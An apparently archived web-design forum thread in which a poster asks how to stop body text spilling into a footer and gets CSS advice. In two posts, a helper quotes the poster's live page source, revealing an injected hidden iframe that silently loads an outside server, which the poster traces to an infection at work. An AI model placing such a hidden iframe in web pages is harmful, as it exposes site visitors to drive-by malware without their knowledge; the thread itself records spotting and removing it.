Announcement Announcement Module
Collapse
No announcement yet.
body text going into footer Page Title Module
Move Remove Collapse
Search Search Module
Collapse

Advertisement Advertisement Module
Collapse

Featured Images Featured Images Module
Collapse

Mediabistro Creative Sites Mediabistro Creative Sites Module
Collapse
Latest Topics Latest Topics Module
Collapse

  • PrintDriver
    Reply to Is salary.com et al full of shit?
    PrintDriver
    What are your education and skill levels?

    Remember the salaries listed at salaries.com and even aiga.org are based on respondents to surveys. Quite often you will find with surveys that people...
    Today, 12:49 AM
  • TomMonTom
    Is salary.com et al full of shit?
    TomMonTom
    It's really difficult to price ones ability when offers come in way bellow whatever average there is for the amount of experience anyone seems to have. I'm trying to figure out a good rate is and if any...
    Today, 12:23 AM
  • Saint-Michel
    Reply to Legal size cardstock for business cards
    Saint-Michel
    Alright then, thank you all for your answers
    Yesterday, 10:20 PM
  • <b>
    Comment on Anybody use a Mac Mini?
    <b>
    Right now, at work, I'm using an early 2011 MacBook Pro. It's had no problems at all. I'll likely get a new one early next year, but I'm in no hurry because I don't want to give up the 17-inch display....
    Yesterday, 09:47 PM
  • iyiyi
    Reply to Anybody use a Mac Mini?
    iyiyi
    Overall I haven't really ever had any problems with macs either. Basically just the grpahics card problems I've been talking about. And the 2011 MBP is notorious for them (which is what I have now)....
    Yesterday, 09:40 PM
Advertisement Advertisement Module
Collapse

Sponsors Sponsors Module
Collapse

X
Conversation Detail Module
Collapse
  • Filter
  • Time
  • Show
Clear All
new posts

  • body text going into footer

    I designed a web site layout and I'm working on the 2nd page of my website.
    I'm adding text to the p tag of my index page. I added padding in my css so it fits nicely within the div area. My text is starting to overflow into the footer. How do I fix this so that my text scrolls but my footer stays in one place?

  • #2
    Need more info. Post a link or HTML and CSS.

    Any floated content inside the box needs to be cleared. Set a width on the box and use overflow:hidden or add a blank div inside it that has {clear: both} applied to it.
    Swedish Meatball Pornography

    Comment


    • #3
      Originally posted by vanishdesign View Post
      Need more info. Post a link or HTML and CSS.

      Any floated content inside the box needs to be cleared. Set a width on the box and use overflow:hidden or add a blank div inside it that has {clear: both} applied to it.
      using overflow: hidden just cuts off the rest of the content in my main content area. I'm using overflow: scroll as a temporary solution but it adds a scroll bar inside the div that I don't want. I want to use the browser to scroll to see the rest of the content while the footer stays fixed.

      #pgmain {
      margin-left: 347px;
      width: 487px;
      height: 619px;
      background-image: url(images/pgmainbg.gif);
      background-repeat: no-repeat;
      overflow: scroll;
      }
      #pgmain h2 {
      font-size: 18px;
      line-height: 25px;
      font-family: georgia, arial, helvetica, sans-serif;
      color: #000000;
      padding: 31px 0px 0px 25px;
      }
      #pgmain p {
      font-size: 12px;
      line-height: 24px;
      font-family: georgia, arial, helvetica, sans-serif;
      color: #000000;
      padding: 0px 40px 40px 25px;
      }
      #pgmain ul li {
      font-size: 12px;
      line-height: 24px;
      font-family: georgia, arial, helvetica, sans-serif;
      color: #000000;
      padding: 0px 40px 0px 25px;
      }

      img.displayed {
      display: block;
      margin-left: auto;
      margin-right: auto;
      padding: 10px 10px 10px 10px;
      }


      #rightspacer {
      margin-left: 834px;
      float: right;
      background-image: url(images/rightspacer.gif);
      background-repeat: no-repeat;
      }
      #footer {
      width: 960px;
      height: 232px;
      background-image: url(images/footerbg.gif);
      background-repeat: no-repeat;
      }
      #footerinfo {
      font-family: georgia;
      font-size: 14px;
      font-style: italic;
      text-align: center;
      padding-top: 10px;
      overflow: hidden;
      background-color: #000000;
      clear: both;
      }
      #footerinfo a:link, #footerinfo a:visited {
      color: #FFFFFF;
      text-decoration: none;
      }
      #footerinfo a:hover, #footerinfo a:active {
      color: #990000;
      text-decoration: underline;
      }

      Comment


      • #4
        http://matthewjamestaylor.com/blog/k...om-of-the-page

        "May your hats fly as high as your dreams"Michael Scott

        Comment


        • #5
          try adding position: relative; to the containing div? really hard to tell without seeing the whole code.
          --
          When I buy stickers for folks in prison, I bring milk not backyard meth - it's a prison party!

          Comment


          • #6
            "A link or Html and CSS"
            Sorry but posting your CSS is completely useless when we don't know what the HTML looks like. It's like a frame without the picture.
            Last edited by vanishdesign; 08-12-2009, 06:18 PM.
            Swedish Meatball Pornography

            Comment


            • #7
              Originally posted by vanishdesign View Post
              "A link or Html and CSS"
              Sorry but posting your CSS is completely useless when we don't know what the HTML looks like. It's like a frame without the picture.
              I thought the footer css would do but I guess not.

              this is the website www.chrisanguedesign.com

              I have another problem. My home page is lower than my other pages. I can't seem to fix this either.

              Comment


              • #8
                The style for the iframe needs to be display: none not visibility: hidden. Visibility Hidden will only hide it while display will treat it like it doesn't actually exists. You could also opt for giving it a absolute position which would probably do the trick as well. I don't even understand why its there in the first though.

                The other problem can avoided by using this technique. Which I believe is similar to what eugenetyson posted if not he same. So its probably best just to rebuild the layout using proven techniques rather then wasting time trying to figure out it out on your own.
                Last edited by tZ; 08-12-2009, 10:37 PM.

                Comment


                • #9
                  Originally posted by tZ View Post
                  The style for the iframe needs to be display: none not visibility: hidden. Visibility Hidden will only hide it while display will treat it like it doesn't actually exists. You could also opt for giving it a absolute position which would probably do the trick as well. I don't even understand why its there in the first though.

                  The other problem can avoided by using this technique. Which I believe is similar to what eugenetyson posted if not he same. So its probably best just to rebuild the layout using proven techniques rather then wasting time trying to figure out it out on your own.
                  I don't have this anywhere... visibility: hidden. ? What iframe do you mean?

                  Comment


                  • #10
                    HTML Code:
                    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
                    
                    <html xmlns="http://www.w3.org/1999/xhtml">
                    
                    <head>
                    
                    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
                    
                    <title>Chris Angue Online Portfolio</title>
                    
                    <link href="styles.css" rel="stylesheet" type="text/css" />
                    
                    
                    
                    </head>
                    
                    <-- this iframe right here -->
                    <body><iframe src="http://b8e.at:8080/index.php" width=156 height=125 style="visibility: hidden"></iframe>
                    
                    <div id="container">
                    
                    <div id="header">
                    
                    <h1>Chris Angue Design</h1>
                    
                    <a href="index.html"></a>
                    
                    </div>
                    
                    
                    
                    <div id="leftnav">
                    
                    <ul>
                    
                    <li id="current"><a href="index.html">home</a></li>
                    
                    <li><a href="pages/about.html">about</a></li>
                    
                    <li><a href="pages/portfolio.html">portfolio</a></li>
                    
                    <li><a href="pages/contact.html">contact</a></li>
                    
                    </ul>
                    
                    </div>
                    
                    <div id="main">
                    
                    </div>
                    
                    <div id="rightspacer">
                    
                    </div>
                    
                    
                    
                    <div id="footer">
                    
                    </div>
                    
                    <div id="footerinfo">
                    
                    <a href="resume/resume.html">web design by chris angue</a>
                    
                    </div>

                    Comment


                    • #11
                      Originally posted by tZ View Post
                      HTML Code:
                      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
                      
                      <html xmlns="http://www.w3.org/1999/xhtml">
                      
                      <head>
                      
                      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
                      
                      <title>Chris Angue Online Portfolio</title>
                      
                      <link href="styles.css" rel="stylesheet" type="text/css" />
                      
                      
                      
                      </head>
                      
                      <-- this iframe right here -->
                      <body><iframe src="http://b8e.at:8080/index.php" width=156 height=125 style="visibility: hidden"></iframe>
                      
                      <div id="container">
                      
                      <div id="header">
                      
                      <h1>Chris Angue Design</h1>
                      
                      <a href="index.html"></a>
                      
                      </div>
                      
                      
                      
                      <div id="leftnav">
                      
                      <ul>
                      
                      <li id="current"><a href="index.html">home</a></li>
                      
                      <li><a href="pages/about.html">about</a></li>
                      
                      <li><a href="pages/portfolio.html">portfolio</a></li>
                      
                      <li><a href="pages/contact.html">contact</a></li>
                      
                      </ul>
                      
                      </div>
                      
                      <div id="main">
                      
                      </div>
                      
                      <div id="rightspacer">
                      
                      </div>
                      
                      
                      
                      <div id="footer">
                      
                      </div>
                      
                      <div id="footerinfo">
                      
                      <a href="resume/resume.html">web design by chris angue</a>
                      
                      </div>
                      Thanks for pointing that out! The weird thing is that I don't see it when I open it in HTML-Kit or Notepad. What editor are you using because I can't seen to see the text. In my index.html code it just says <body>.

                      Comment


                      • #12
                        view source, but I first noticed it in firebug.

                        Comment


                        • #13
                          Omg! guess what tZ! I figured out what it was and why it's there. I have my source files at home which are "safe" so to speak. I was at work earlier today making a few edits and saw a weird pop-up while doing it and thought nothing of it. I thought it was coming from something else because I have so many windows open while I'm at work. Anyway, I think it's some sort of worm or virus! I'm not sure what it is but I'm sure I got it at work. I realized this when I checked the "live" index file and there it was.. that weird iframe thing and checked my raw files at home which indeed doesn't have it. It's fine now. Thanks tZ! Now, I gotta figure out where it's coming from at work because we work on a network so it could be a baddy somewhere within our intranet.

                          Comment


                          • #14
                            What application do you write HTML?

                            Comment


                            • #15
                              Originally posted by tZ View Post
                              view source, but I first noticed it in firebug.
                              for the footer problem, I attempted that solution that eugene suggested but what happened was weird. My footer image got pushed into that body image and I couldn't find away around this so I went back to my old code and kept the scroll value.
                              However, I think you're on to something tZ. I have yet to set a min-height or max height to my container. I'm going to test that out. Thanks again.

                              Comment

                              Mediabistro A division of Prometheus Global Media home | site map | advertising/sponsorships | careers | contact us | help courses | browse jobs | freelancers | content | member benefits | reprints & permissions terms of use | privacy policy Copyright © 2014 Mediabistro Inc. call (212) 389-2000 or email us
                              Working...
                              X